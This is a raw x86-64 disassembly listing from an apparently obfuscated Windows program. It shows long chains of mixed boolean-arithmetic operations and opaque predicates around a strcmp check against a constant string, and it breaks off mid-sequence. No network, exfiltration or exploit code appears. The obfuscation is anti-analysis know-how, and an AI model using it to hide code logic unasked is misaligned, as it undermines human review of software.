movabs rbx, 0xbb49bbcb4cebe655
add rdx, rbx
sub rdx, rsi
sub rdx, rbx
add rdx, rcx
add rdx, r8
movabs rcx, 0x22118d62c13e872d
add rdx, rcx
movabs rbx, 0xc5919267daf03a6b
add rdx, rbx
sub rdx, rcx
sub rdx, rbx
movabs rcx, 0x4f0033bfa06aaa31
sub rax, rcx
movabs rcx, 0x90edbff9e91397d6
mov rbx, rcx
add rax, rcx
movabs rcx, 0x1f1d41d418f3a6db
sub rcx, rax
add rcx, rbx
movabs rax, 0xc430d3471057ef
sub rcx, rax
movabs rax, 0xad88fb958e2e4003
add rcx, rax
movabs rbx, 0xd5739bfda71a7bcc
sub rcx, rbx
sub rcx, rax
movabs rax, 0x45feef76760e99d0
add rdx, rax
movabs rdi, 0xf70e59690df22874
mov r8, rdi
sub rdx, rdi
sub rdx, rax
add rdx, rcx
add rdx, rbx
movabs rbx, 0x76c6b732f73e3dde
mov r9, rbx
add rdx, rbx
movabs rax, 0x90e693eb62accd2e
mov rsi, rax
movabs rax, 0x24ff22d57b18695
mov rdi, rax
add rax, rsi
movabs rbx, 0x365eced5d3943fd6
mov rcx, rbx
sub rcx, rax
add rcx, rsi
movabs rax, 0x435724e04eb9a80b
sub rcx, rax
sub rcx, rbx
add rcx, rdi
add rcx, rax
movabs rax, 0x1a5fc99725b72dce
add rcx, rax
movabs rbx, 0x89d319a7f72c4683
add rcx, rbx
movabs rdi, 0x195797707e9ecb9f
add rcx, rdi
sub rax, rcx
mov rcx, r9
sub rcx, rdx
movabs rdx, 0x68b635311a717541
add rax, rdx
add rax, rbx
movabs rdx, 0x7bfb2c7360299e14
add rax, rdx
sub rcx, r8
movabs rdx, 0x40248272087adcee
sub rcx, rdx
sub rcx, rax
add rcx, rdx
movabs rax, 0x2c7a4cd7f638cee4
add rcx, rax
sub rax, rcx
mov qword [rbp + 0xc0], rax
mov rcx, qword [rbp + 0xc0]
sub rsp, 0x20
lea rdx, [0x14004d339]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
add rsp, 0x20
test eax, eax
mov eax, 0xc4ea865c
mov ecx, 0xb7f5d5eb
cmove eax, ecx
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, 0xc4ea865c
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, dword [0x1400a6668]
lea r10d, [rax - 1]
imul r10d, eax
mov r9d, r10d
not r9d
mov eax, r9d
and eax, 0x10ca4810
mov ecx, r10d
and ecx, 0x8400222c
or ecx, eax
mov edx, ecx
xor edx, 0x4000000
xor ecx, 0x6ada8952
mov ebx, r9d
or ebx, 0x94ca6a3c
mov eax, ebx
not eax
and ecx, 0xeadaab7e
and edx, 0x14004000
or edx, ecx
and ebx, 0xeadaab7e
and eax, 0x1251481
or eax, ebx
xor eax, edx
mov ecx, eax
not ecx
and ecx, 0x65184a5a
and eax, 0x9ae7b5a5
or eax, ecx
mov edx, eax
xor edx, 0xa0d4618
xor eax, 0x26
and eax, 0x42099a7
and edx, 0xfbdf6658
or edx, eax
mov ecx, edx
xor ecx, 0xfbdf6658
xor edx, 0x4208100
and edx, 0x9ea3c508
mov eax, ecx
and eax, 0x615c3af7
or eax, edx
xor eax, 0x412b4952
and ecx, 0xdf888c5a
or ecx, eax
mov edx, ecx
not edx
mov ebx, r9d
and ebx, 0x207773a5
mov eax, r10d
xor eax, 0xdf888c5a
or eax, ebx
mov ebx, eax
not ebx
and ebx, 0x74431a8e
and eax, 0x8bbce571
or eax, ebx
mov ebx, eax
xor ebx, 0x8bbce571
xor eax, 0x74431a8e
and ebx, ecx
or ecx, eax
not ecx
and eax, edx
or eax, ebx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x867a142f
and eax, 0x7985ebd0
or eax, edx
mov ebx, eax
xor ebx, 0x10808850
xor eax, 0x6000400
or ecx, 0xdf888c5a
mov edx, ecx
not edx
or eax, 0x7111a0
and eax, 0x4f7115a0
and ebx, 0x9088885a
or ebx, eax
and ecx, 0x4f7115a0
and edx, 0x20066205
or edx, ecx
xor edx, ebx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x53f63305
and eax, edx
and edx, 0xac09ccfa
or edx, ecx
mov ecx, edx
xor ecx, 0xa80904d2
xor edx, 0x53f63305
mov ebx, eax
not ebx
mov edi, edx
and edi, 0x1716f929
and ecx, 0xe8e906d6
or ecx, edi
or edx, ebx
and ebx, 0x1716f929
and eax, 0xe8e906d6
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
xor eax, 0xfffffffe
and eax, edx
mov ecx, edx
not ecx
and ecx, 0xe930e473
and edx, 0x16cf1b8c
or edx, ecx
mov ebx, edx
xor ebx, 0x12801900
xor edx, 0xe930e472
mov ecx, eax
not ecx
or edx, 1
mov edi, ecx
and edi, 0xcd4f86ec
and eax, 0x32b07913
or eax, edi
or ecx, edx
and edx, 0xcd4f86ec
and ebx, 0x32b07912
or ebx, edx
xor ebx, eax
not ecx
or ecx, ebx
mov esi, ecx
not esi
mov eax, esi
and eax, 1
and ecx, 0xfffffffe
or ecx, eax
xor esi, ecx
and esi, ecx
mov eax, r9d
and eax, 0x31216f9c
mov ecx, r10d
and ecx, 0xcede9063
or ecx, eax
mov eax, ecx
xor eax, 0x46840000
xor ecx, 0x21206c94
mov edx, r10d
xor edx, 0xe7a47c96
and edx, r10d
or ecx, 0x185b8369
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xb911921a
and eax, 0x46a46c84
or eax, edi
or ecx, ebx
and ebx, 0xb911921a
and edx, 0x46ee6de5
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x185b8368
and ecx, 0xe7a47c97
or ecx, eax
mov eax, r9d
and eax, 0xd2109971
mov edx, r10d
and edx, 0x2def668e
or edx, eax
mov ebx, edx
xor ebx, 0x103220a
mov edi, ecx
not edi
mov eax, edi
and eax, 0xeefc5ca5
and ecx, 0x1103a35a
or ecx, eax
xor edx, 0xc2101821
and edx, 0xeefc5ca5
and ebx, 0x1103a35a
or ebx, edx
xor ebx, ecx
not ebx
or ebx, edi
mov r11d, ebx
not r11d
mov r8d, esi
mov r12d, esi
mov edi, esi
mov ecx, esi
xor ecx, 0x890ea2f1
and ecx, esi
mov r13d, esi
not r13d
mov r14d, ebx
and r14d, 0x965bc944
mov r15d, ebx
mov esi, r11d
xor ebx, 0x76f15d0e
and ebx, r11d
and r11d, 0x69a436bb
or r11d, r14d
and r8d, 0x50859188
mov eax, r13d
and eax, 0xaf7a6e77
or eax, r8d
mov edx, r11d
xor edx, 0x29202633
xor r11d, 0x965bc944
or r12d, r11d
and r11d, 0x50859188
and edx, 0xaf7a6e77
or edx, r11d
mov r8d, dword [0x1400a6664]
xor edx, eax
not r12d
or r12d, edx
mov eax, r12d
not eax
and eax, 0x9e0ee2d9
and r12d, 0x61f11d26
or r12d, eax
mov r11d, r12d
xor r11d, 0x61f11d26
and r13d, 0xadb784ad
and edi, 0x52487b52
or edi, r13d
mov eax, edi
xor eax, 0x82240
xor edi, 0x890680a1
and r15d, 0x890820a0
and esi, 0x68251
or esi, r15d
mov r15d, esi
xor r15d, 0x40201
xor esi, 0xfff97dae
or edi, 0x76f15d0e
mov r14d, edi
and r14d, 0xa6f45c17
and eax, 0x90aa2e0
or eax, r14d
mov edx, ecx
not edx
or edi, edx
and edx, 0xa6f45c17
and ecx, 0x590ba3e8
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov eax, ebx
not eax
mov ecx, esi
and ecx, 0x2b83b0fc
and r15d, 0x800c0201
or r15d, ecx
or esi, eax
and eax, 0x2b83b0fc
and ebx, 0xd47c4f03
or ebx, eax
xor ebx, r15d
not esi
or esi, ebx
mov eax, edi
not eax
and eax, esi
not esi
and esi, edi
or esi, eax
xor r12d, 0x9e0ee2d9
and r12d, esi
not esi
mov eax, r11d
xor eax, esi
and eax, r11d
and esi, r11d
or esi, r12d
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov ecx, esi
not ecx
mov edx, esi
mov eax, esi
xor eax, 0x9617c7ef
and eax, esi
and esi, 0x78d966ca
mov ebx, ecx
and ebx, 0x87269935
or ebx, esi
xor ebx, 0x87269935
or ebx, ecx
and ecx, 0x1201010e
and edx, 0x8416c6e1
or edx, ecx
xor edx, 0x8416c6e1
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3c5d7d76
and eax, 0xc3a28289
or eax, ecx
mov edx, eax
xor edx, 0x55b54566
xor eax, 0x84ab808
mov ecx, ebx
not ecx
mov esi, edx
xor esi, ebx
and esi, edx
and eax, 0x5c4ebd4c
and edx, 0xa3b142b3
or edx, eax
and ebx, 0x5c4ebd4c
and ecx, 0xa3b142b3
or ecx, ebx
xor ecx, edx
mov r11d, esi
not r11d
mov eax, ecx
not eax
mov edx, r11d
and edx, 0xa790aa36
and esi, 0x586f55c9
or esi, edx
or r11d, eax
and eax, 0xa790aa36
and ecx, 0x586f55c9
or ecx, eax
xor ecx, esi
not r11d
or r11d, ecx
mov eax, r10d
and eax, 0x42320dfc
mov ecx, r9d
and ecx, 0xbdcdf203
or ecx, eax
mov edx, ecx
xor edx, 0x20d40
xor ecx, 0x28c80001
and ecx, 0x6af800bd
and edx, 0x9507ff42
or edx, ecx
mov eax, edx
xor eax, 0x1077d42
xor edx, 0x2d00088
and edx, 0x96d08288
and eax, 0x692f7d77
or eax, edx
mov edx, eax
xor edx, 0x692f7d77
xor eax, 0x96d08288
and r9d, 0xa47e8133
and r10d, 0x5b817ecc
or r10d, r9d
mov ecx, r10d
xor ecx, 0x5b817ecc
xor r10d, 0x84300003
and r10d, 0x84b1780f
mov ebx, ecx
and ebx, 0x7b4e87f0
or ebx, r10d
xor ebx, 0x7b4e87f0
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x9c7c7acf
and ebx, 0x63838530
or ebx, ecx
mov ecx, ebx
xor ecx, 0x63838530
and ecx, eax
xor ebx, 0x9c7c7acf
mov eax, edx
xor eax, ebx
and eax, edx
and ebx, edx
or ebx, ecx
mov edx, eax
and edx, ebx
xor ebx, eax
or ebx, edx
mov ecx, r11d
not ecx
mov edx, ecx
and edx, 0x1697cba0
mov eax, ebx
not eax
mov esi, eax
and ecx, 0x3e74818c
mov edi, r11d
and edi, 0xc18b7e73
or edi, ecx
xor edi, 0x3e74818c
or edi, eax
xor eax, r11d
not eax
and eax, r11d
and r11d, 0xe968345f
or r11d, edx
mov edx, r11d
xor edx, 0xc000341b
and esi, 0x7134f2d1
and ebx, 0x8ecb0d2e
or ebx, esi
mov ecx, ebx
xor ecx, 0x82820c2a
xor r11d, 0x1697cba0
xor ebx, 0x7134f2d1
mov esi, r11d
and esi, 0x3d6d01c4
and edx, 0xc292fe3b
or edx, esi
or r11d, ebx
and ebx, 0x3d6d01c4
and ecx, 0xc292fe3b
or ecx, ebx
xor ecx, edx
not r11d
or r11d, ecx
mov ecx, r11d
not ecx
not edi
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edx, eax
not edx
and eax, r11d
or r11d, edx
mov ebx, r11d
not ebx
and edx, ecx
or edx, eax
mov eax, edx
not eax
mov ecx, r11d
and ecx, 0x167bc2ca
and ebx, 0xe9843d35
or ebx, ecx
or r11d, eax
and eax, 0x167bc2ca
and edx, 0xe9843d35
or edx, eax
xor edx, ebx
not r11d
or r11d, edx
mov eax, r11d
not eax
mov ecx, eax
and ecx, 0x2046
mov edx, r11d
and edx, 0x4c840700
or edx, ecx
xor edx, 0x4c840700
mov ecx, r11d
xor ecx, 0x4c842746
and ecx, r11d
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x55912972
and ecx, 0xaa6ed68d
or ecx, edx
mov edx, ecx
xor edx, 0x80d109
xor ecx, 0x8140e20
and ecx, 0xee7e2ee2
and edx, 0x1181d11d
or edx, ecx
mov ecx, edx
xor ecx, 0x1080c104
xor edx, 0xa66208c0
and edx, 0xa76318d9
and ecx, 0x589ce726
or ecx, edx
mov edx, ecx
xor edx, 0xd93ad6a0
xor ecx, 0x589ce726
and ecx, edx
mov edx, eax
and edx, 0x7e59ce79
and r11d, 0x81a63186
or r11d, edx
xor eax, r11d
and eax, r11d
mov edx, ecx
not edx
and edx, eax
not eax
mov ebx, ecx
xor ebx, eax
and ebx, ecx
and eax, ecx
or eax, edx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov edi, eax
mov edx, eax
xor edx, 0x81a63186
and edx, eax
not eax
and eax, 0x6009172e
and edi, 0x9ff6e8d1
or edi, eax
mov eax, edi
xor eax, 0x1802080
xor edi, 0x1106
or edi, 0x7e59ce79
mov ebx, edx
not ebx
mov ecx, edi
and ecx, 0x842f0d58
and eax, 0x1803086
or eax, ecx
or edi, ebx
and ebx, 0x842f0d58
and edx, 0x7bd0f2a7
or edx, ebx
xor edx, eax
not edi
or edi, edx
mov eax, edi
not eax
mov edx, eax
and edx, 0x6821b308
mov ebx, edi
and ebx, 0x10020843
or ebx, edx
xor ebx, 0x10020843
mov ecx, edi
xor ecx, 0x7823bb4b
and ecx, edi
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa56c1215
and ecx, 0x5a93edea
or ecx, edx
mov edx, ecx
xor edx, 0xd44ca14c
xor ecx, 0x2800600
and ecx, 0xb830e12
and edx, 0xf47cf1ed
or edx, ecx
mov ecx, edx
xor ecx, 0x4020e188
and eax, 0x183cc752
and edi, 0xe7c338ad
or edi, eax
mov eax, edi
xor eax, 0x43822888
xor edx, 0xb830e12
xor edi, 0x183cc752
mov ebx, edx
and ebx, 0xb45d1265
and ecx, 0x4ba2ed9a
or ecx, ebx
or edx, edi
and edi, 0xb45d1265
and eax, 0x4ba2ed9a
or eax, edi
xor eax, ecx
not edx
or edx, eax
cmp edx, 0xffffffff
setne r14b
sete sil
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov r9d, ecx
xor r9b, dl
mov edi, r9d
xor dil, 1
mov eax, edi
and al, r9b
mov ebx, edi
xor bl, al
xor al, 1
or al, r9b
xor al, 1
or al, bl
mov ebx, eax
xor bl, cl
xor bl, 1
mov r10d, eax
or r10b, dl
xor r10b, 1
or r10b, bl
mov r8d, r10d
xor r8b, 1
or cl, al
xor cl, 1
xor dl, al
and dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov r11d, edx
xor r11b, 1
mov ecx, edx
mov ebx, r8d
xor bl, dl
or dl, r8b
and r8b, r10b
and cl, r11b
xor r8b, 1
mov eax, r8d
xor al, r10b
or r8b, r10b
xor r8b, 1
or r8b, al
xor cl, 1
mov eax, ecx
xor al, r11b
or cl, r11b
xor cl, 1
or cl, al
xor cl, r8b
xor dl, 1
or dl, bl
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
mov byte [rbp + 0x2c], al
mov ebx, eax
xor bl, 1
mov byte [rbp + 0x30], bl
or bl, cl
mov r8d, ecx
mov byte [rbp + 0x28], cl
mov ecx, eax
xor cl, dl
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, 1
mov eax, r8d
and al, cl
mov byte [rbp + 0x3d], dl
or cl, dl
and r10b, dl
or r10b, al
mov eax, ecx
xor al, r10b
xor r10b, 1
xor al, 1
or r10b, cl
xor r10b, 1
or r10b, al
mov r8d, r10d
xor r8b, 1
or dil, r9b
xor dil, 1
mov eax, r9d
and al, dil
xor dil, r9b
or dil, al
mov eax, edi
xor al, 1
and dil, al
xor dil, 1
mov ecx, eax
xor cl, dil
or dil, al
xor dil, 1
or dil, cl
mov ebx, edi
xor bl, 1
mov ecx, ebx
and cl, dil
xor cl, 1
mov r9d, edi
xor r9b, cl
or cl, dil
xor cl, 1
or cl, r9b
or bl, dil
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov r9d, ebx
xor r9b, 1
mov eax, esi
mov ecx, esi
mov byte [rbp + 0x3c], r14b
xor cl, r14b
and cl, sil
mov r11d, esi
mov byte [rbp + 0x3b], sil
mov edx, ecx
xor dl, 1
mov r15d, edx
and r15b, cl
mov eax, edx
and al, r15b
xor r15b, dl
or r15b, al
or cl, dl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
or dl, sil
xor dl, 1
mov r11d, ecx
or r11b, r14b
xor r11b, 1
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov edx, r11d
xor dl, 1
xor r11b, cl
xor r11b, 1
or r11b, dl
mov ecx, ebx
and cl, r9b
xor bl, cl
xor cl, 1
mov esi, r9d
or sil, cl
xor sil, 1
or bl, sil
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
mov edi, r15d
xor dil, 1
or bl, dl
mov edx, ebx
and dl, r8b
xor bl, 1
and bl, r10b
or bl, dl
xor bl, 1
mov edx, ebx
xor dl, r8b
xor bl, dl
and bl, dl
mov eax, r9d
xor cl, r9b
xor r9b, r10b
or al, r10b
xor al, 1
or al, r9b
mov r14d, r11d
xor r14b, 1
or cl, sil
mov edx, eax
xor dl, 1
and r8b, cl
xor cl, 1
and cl, r10b
or cl, r8b
xor r10b, cl
and r10b, cl
mov ecx, r10d
xor cl, 1
and r10b, al
and dl, cl
or dl, r10b
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
mov eax, ebx
xor al, 1
mov ecx, eax
xor cl, dl
mov r9d, ecx
xor r9b, al
and r9b, cl
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
mov ebx, r8d
and bl, dl
xor al, 1
or al, cl
xor r8b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r8b
xor bl, al
mov eax, r9d
xor al, 1
mov edx, ebx
xor dl, 1
and bl, al
or al, dl
and dl, r9b
or dl, bl
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov byte [rbp + 0x38], dl
mov eax, edi
and al, r15b
mov ecx, eax
and cl, dil
xor al, dil
or al, cl
xor al, 1
or dil, r15b
mov ecx, eax
xor cl, dil
or dil, al
xor dil, 1
or dil, cl
mov eax, r11d
and al, r14b
mov ecx, r14d
mov r10d, r14d
mov ebx, eax
xor r10b, r11b
or r10b, al
xor al, 1
and cl, al
or al, r11b
and bl, r11b
or bl, cl
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov byte [rbp + 0x37], dil
mov r15d, edi
xor r15b, 1
mov eax, ebx
xor al, 1
mov byte [rbp + 0x3a], al
mov edx, ebx
or dl, al
mov byte [rbp + 0x39], dl
mov ecx, ebx
xor cl, dl
mov eax, ebx
or al, dl
xor al, 1
or al, cl
mov r12d, edi
or r12b, r15b
mov r14d, r12d
xor r14b, 1
mov ecx, r14d
and cl, r12b
mov edx, ecx
xor dl, 1
xor cl, r14b
or dl, r12b
xor dl, 1
or dl, cl
mov ecx, edi
xor cl, r12b
xor cl, 1
mov r13d, r14d
or r13b, dil
xor r13b, 1
or r13b, cl
xor dl, dil
xor r13b, 1
mov ecx, edx
and cl, r13b
xor r13b, dl
or r13b, cl
mov ecx, eax
xor cl, 1
mov r9d, eax
and r9b, cl
mov r8d, eax
xor r8b, r9b
xor r9b, 1
or r9b, cl
xor r9b, 1
or r9b, r8b
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
mov eax, r9d
xor al, 1
mov r8d, edx
and r8b, al
xor dl, 1
and dl, r9b
or dl, r8b
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
xor cl, 1
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov r8d, r10d
mov edi, r10d
xor dil, 1
mov edx, r10d
xor dl, dil
and dl, r8b
mov r11d, r8d
mov r8d, edx
xor r8b, 1
and r8b, dl
mov r10d, r8d
and r10b, dl
xor r8b, dl
or r8b, r10b
mov edx, r8d
xor dl, 1
and dl, r8b
mov r10d, edx
and r10b, r8b
xor dl, r8b
or dl, r10b
xor dl, cl
and r9b, al
mov ecx, eax
and cl, r9b
xor r9b, al
or r9b, cl
xor r9b, r11b
mov ecx, eax
and cl, dil
xor al, dil
or al, cl
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
xor al, 1
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov edi, r13d
xor dil, 1
mov edx, edi
and dl, r13b
mov ecx, edx
xor cl, 1
mov esi, edi
xor sil, dl
or cl, r13b
xor cl, 1
or cl, sil
mov r10d, ecx
xor r10b, 1
or r10b, cl
mov r9d, eax
xor r9b, 1
mov r11d, eax
xor r11b, r9b
or r9b, al
and r11b, al
mov eax, r10d
xor al, 1
mov ecx, r10d
and cl, al
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
and dl, dil
or dl, sil
xor dl, cl
xor r10b, dil
or al, r13b
xor al, 1
or al, r10b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, r9d
xor cl, 1
and cl, r9b
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov r8d, r11d
xor r8b, 1
mov edx, r8d
and dl, r11b
mov r10d, r8d
xor r10b, dl
xor dl, 1
or dl, r11b
xor dl, 1
or dl, r10b
mov r10d, ecx
xor r10b, 1
and r10b, dl
xor dl, 1
and dl, cl
or dl, r10b
mov ecx, r9d
and cl, r8b
xor r8b, r9b
or r8b, cl
xor dl, 1
mov ecx, edx
xor cl, r8b
or dl, r8b
xor dl, 1
or dl, cl
xor al, 1
mov r8d, eax
xor r8b, dl
xor r8b, 1
and r8b, dl
or al, dl
xor r8b, 1
mov edx, r8d
xor dl, al
or r8b, al
xor r8b, 1
or r8b, dl
movzx r10d, byte [rbp + 0x37]
mov eax, r10d
and al, r12b
or r12b, r15b
xor r12b, 1
and r14b, r15b
or r14b, al
mov eax, r12d
and al, r14b
xor r14b, r12b
or r14b, al
movzx eax, byte [rbp + 0x3a]
mov edx, eax
and dl, bl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
movzx ecx, byte [rbp + 0x39]
xor dl, cl
mov r9d, ecx
and r9b, al
xor cl, al
or cl, r9b
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov ecx, r14d
xor cl, 1
mov eax, edx
xor al, 1
and al, dl
mov r9d, eax
and r9b, dl
xor al, dl
or al, r9b
and cl, al
xor al, 1
and al, r14b
or al, cl
mov edx, r10d
and r15b, r10b
mov ecx, r10d
and cl, r15b
xor r15b, r10b
or r15b, cl
xor r15b, bl
mov ecx, r10d
and cl, bl
xor bl, r10b
or bl, cl
xor bl, 1
mov ecx, r15d
and cl, bl
xor bl, r15b
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov eax, edx
xor al, bl
xor bl, 1
xor al, 1
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
or al, bl
mov ecx, ebx
or cl, al
xor cl, 1
xor al, bl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
xor r8b, 1
mov ecx, r8d
and cl, dl
xor dl, r8b
or dl, cl
mov ecx, r8d
xor cl, al
xor cl, 1
and cl, al
or r8b, al
mov eax, r8d
xor al, cl
xor cl, 1
xor al, 1
or cl, r8b
xor cl, 1
or cl, al
mov esi, ecx
and cl, dl
xor dl, 1
xor sil, 1
mov eax, edx
xor al, sil
and al, dl
and sil, dl
or sil, cl
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
movzx ecx, byte [rbp + 0x38]
mov r8d, ecx
xor r8b, 1
mov eax, r8d
and al, cl
mov r9d, ecx
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov r11d, eax
xor r11b, 1
mov ecx, eax
or cl, r11b
xor cl, 1
mov ebx, ecx
xor bl, r9b
mov edx, ebx
xor dl, 1
and dl, cl
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov edi, edx
xor dil, 1
mov ebx, edx
and bl, dil
mov ecx, edx
xor cl, bl
xor bl, 1
or bl, dil
xor bl, 1
or bl, cl
or dil, dl
mov ecx, ebx
xor cl, dil
or dil, bl
xor dil, 1
or dil, cl
mov ecx, edi
xor cl, 1
and dil, cl
mov edx, ecx
and dl, dil
xor dil, cl
or dil, dl
mov r15d, edi
xor r15b, 1
and r8b, r11b
and al, r9b
or al, r8b
xor r11b, al
and r11b, al
mov r8d, r11d
xor r8b, 1
mov r9d, esi
xor r9b, 1
mov r10d, r9d
or r10b, sil
mov eax, esi
xor al, r9b
and al, sil
mov ecx, eax
xor cl, r10b
xor r10b, 1
mov edx, eax
xor dl, r10b
xor cl, 1
or r10b, al
xor r10b, 1
or r10b, cl
xor r10b, 1
mov eax, edx
and al, r10b
xor r10b, dl
or r10b, al
mov eax, r10d
xor al, 1
and r10b, al
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
and r9b, sil
mov eax, esi
and al, r9b
xor r9b, sil
or r9b, al
xor r9b, 1
mov eax, r9d
xor al, sil
or r9b, sil
xor r9b, 1
or r9b, al
mov esi, r15d
mov ecx, edi
and cl, r15b
mov r14d, edi
xor r14b, cl
xor cl, 1
or cl, r15b
or r15b, dil
xor r15b, 1
xor sil, r15b
mov ebx, esi
xor bl, 1
and sil, r15b
mov eax, esi
and al, bl
xor sil, bl
mov ebx, r8d
or bl, r11b
or sil, al
mov eax, ebx
xor al, 1
and al, bl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ebx
and dl, r8b
xor bl, r8b
or bl, dl
xor al, r8b
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, esi
xor dl, 1
and dl, al
xor al, 1
and al, sil
mov esi, r10d
xor sil, 1
or al, dl
mov edx, r11d
and dl, r8b
xor cl, 1
or cl, r14b
xor dl, 1
mov ebx, r8d
xor bl, dl
or dl, r8b
xor dl, 1
or dl, bl
xor dl, cl
mov ecx, edi
and cl, r11b
xor r11b, dil
or r11b, cl
xor dl, 1
mov ecx, edx
xor cl, r11b
or dl, r11b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov edi, ecx
and dil, dl
xor cl, dil
xor dil, 1
or dil, dl
xor dil, 1
or dil, cl
mov ecx, eax
xor cl, dil
or dil, al
xor dil, 1
or dil, cl
xor dil, 1
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov r11d, esi
xor r11b, r10b
and r11b, sil
or sil, r10b
mov r15d, esi
xor r15b, 1
mov r14d, r11d
xor r14b, 1
mov edx, r11d
and dl, r14b
mov ecx, r15d
and cl, sil
mov ebx, edx
and bl, r11b
xor dl, r11b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, sil
or cl, sil
xor cl, 1
or cl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
mov r8d, r9d
xor r8b, 1
or cl, bl
mov r12d, r9d
xor r12b, r8b
and r12b, r9b
or r9b, r8b
xor r14b, sil
mov eax, r9d
xor al, 1
or r15b, r11b
xor r15b, 1
or r15b, r14b
mov edx, r15d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r15b
xor cl, 1
or cl, dl
mov esi, r12d
xor sil, 1
mov edx, r12d
and dl, sil
mov r11d, edx
and r11b, r12b
xor dl, r12b
or dl, r11b
mov ebx, eax
and bl, r9b
mov r11d, ebx
and r11b, al
xor bl, al
or bl, r11b
xor bl, dl
xor sil, r9b
or al, r12b
xor al, 1
or al, sil
mov edx, eax
xor dl, bl
xor bl, 1
or bl, al
xor dl, 1
xor bl, 1
or bl, dl
mov eax, ebx
xor al, cl
and bl, al
and al, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, r10d
or cl, r8b
xor cl, 1
xor r8b, r10b
mov edx, ecx
and dl, r8b
xor r8b, cl
or r8b, dl
mov ecx, r8d
xor cl, al
xor al, 1
or al, r8b
xor al, 1
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, edi
xor al, 1
mov edx, eax
and dl, dil
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, dil
xor dl, 1
or dl, bl
mov ebx, ecx
or bl, dl
xor dl, cl
xor bl, 1
or bl, dl
xor cl, al
xor cl, 1
xor al, cl
and al, cl
mov r8d, eax
and al, bl
xor bl, 1
xor r8b, 1
mov ecx, ebx
xor cl, r8b
and cl, bl
and r8b, bl
movzx r9d, byte [rbp + 0x3d]
mov edx, r9d
